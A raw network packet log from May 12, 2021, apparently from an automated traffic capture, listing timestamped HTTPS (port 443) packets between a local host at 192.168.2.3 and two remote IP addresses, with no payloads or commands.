May 12, 2021 09:44:31.756336927 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.756365061 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.757761955 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.757786036 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.757833958 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.757915974 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.757922888 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.757949114 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.757972002 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.757989883 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.758757114 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.758810997 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.758826017 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.758857012 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.759625912 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.759649038 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.759696007 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.759726048 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.761353016 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.761378050 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.761434078 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.761464119 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.761578083 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.761605024 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.761632919 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.761658907 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.762207031 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.762240887 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.762273073 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.762301922 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.763000011 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.763030052 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.763072014 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.763098001 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.763962030 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.763992071 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.764030933 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.764054060 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.764693975 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.764755964 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.782144070 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.841521978 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.841556072 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.841721058 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.841825008 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.841845989 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.841907024 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.842538118 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.842566013 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.842622995 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.843396902 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.843425989 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.843472004 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.843522072 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.844264030 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.844296932 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.844338894 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.844377041 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.845104933 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.845133066 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.845216036 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.845891953 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.845918894 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.845963001 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.845994949 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.846797943 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.846824884 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.846851110 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.846883059 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.847625017 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.847652912 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.847680092 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.847712040 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.848442078 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.848473072 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.848500967 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.848531961 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.849273920 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.849303007 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.849329948 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.849360943 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.850208044 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.850239992 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.850316048 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.850996971 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.851023912 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.851051092 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.851089001 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.851847887 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.851897001 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.851903915 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.851944923 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.852694035 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.852724075 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.852744102 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.852762938 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.853544950 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.853575945 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.853614092 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.853637934 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.854422092 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.854450941 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.854485035 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.854505062 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.855635881 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.855663061 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.855688095 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.855710030 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.856029987 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.856054068 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.856074095 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.856096983 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.856889009 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.856924057 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.856947899 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.856965065 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.857779980 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.857810974 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.857841969 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.858609915 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.858650923 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.858654022 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.858676910 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.858695030 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.859467983 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.859524012 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.859548092 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.859572887 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.860310078 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.860338926 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.860382080 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.860418081 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.861207008 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.861239910 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.861275911 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.861304998 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.861991882 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.862020969 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.862066031 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.862838984 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.862871885 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.862891912 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.862915039 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.862926006 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.863730907 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.863765955 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.863791943 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.863820076 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.864553928 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.864665985 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.864690065 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.864752054 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.865423918 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.865454912 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.865482092 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.865504026 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.866250038 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.866275072 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.866321087 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.866343021 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.867064953 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.867094040 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.867127895 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.867146015 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.867945910 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.867975950 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.868010044 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.868027925 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.868763924 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.868791103 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.868824959 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.868841887 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.869674921 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.869704962 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.869739056 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.869752884 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.870443106 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.870472908 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.870503902 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.870524883 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.871306896 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.871335983 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.871372938 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.871395111 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.872137070 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.872165918 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.872201920 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.872225046 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.872997046 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.873028040 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.873064995 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.873080969 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.873857021 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.873888016 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.873927116 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.873960018 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.874713898 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.874743938 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.874777079 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.874795914 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.875575066 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.875600100 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.875627995 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.875642061 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.876414061 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.876440048 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.876462936 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.876480103 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.877248049 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.877278090 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.877300024 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.877329111 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.878041983 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.878061056 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.878091097 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.878118992 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.878928900 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.878950119 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.878978968 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.878999949 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.879775047 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.879803896 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.879853010 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.879879951 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.880378008 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.880599022 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.880620956 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.880664110 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.880691051 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.881460905 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.881508112 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.881551027 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.881578922 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.882297993 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.882322073 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.882368088 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.882390022 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.883138895 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.883172989 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.883239985 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.883265018 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.883968115 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.883991957 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.884022951 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.884044886 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.884841919 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.884865046 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.884893894 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.884917021 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.885649920 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.885704994 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.912555933 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.937906981 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.937942982 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.938066006 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.938909054 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.938931942 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.939009905 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.970854044 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.970928907 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.971023083 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.971041918 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.971076965 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.971091032 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.971105099 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.971148968 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.971766949 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.971817017 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.971826077 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.971860886 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.972410917 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.972462893 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.972470045 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.972513914 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.973037004 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.973071098 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.973093987 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.973125935 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.973670959 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.973709106 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.973730087 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.973773003 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.974297047 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.974318981 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.974355936 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.974387884 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.974961996 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.974983931 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.975014925 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.975052118 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.975600958 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.975627899 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.975649118 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.975667000 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.976305962 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.976330042 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.976376057 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.976394892 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:32.208616972 CEST	49697	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:32.208686113 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:32.208719015 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:32.208724976 CEST	49701	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:32.208755016 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:32.208784103 CEST	49702	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:34.568770885 CEST	49689	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:34.568922997 CEST	49689	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:34.568967104 CEST	49689	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:34.569523096 CEST	49689	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:34.569559097 CEST	49689	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:34.569577932 CEST	49689	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:34.569592953 CEST	49689	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:34.569622040 CEST	49689	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:34.569638968 CEST	49689	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:34.616409063 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.616452932 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.616509914 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.616523027 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.616785049 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.616938114 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.616954088 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.617003918 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.617158890 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.617192030 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.617237091 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.617311954 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.617527962 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.617546082 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.617599964 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.617679119 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.617878914 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.617918968 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.617934942 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.618158102 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.618194103 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.618205070 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.618311882 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.618809938 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.618830919 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.618839025 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.618951082 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.619079113 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.619206905 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.619236946 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.619298935 CEST	49709	443	192.168.2.3	131.253.33.200
May 12, 2021 09:44:34.619379044 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.619440079 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.619708061 CEST	443	49689	131.253.33.200	192.168.2.3
May 12, 2021 09:44:34.619726896 CEST	443	49689	131.253.33.200	192.168.2.3
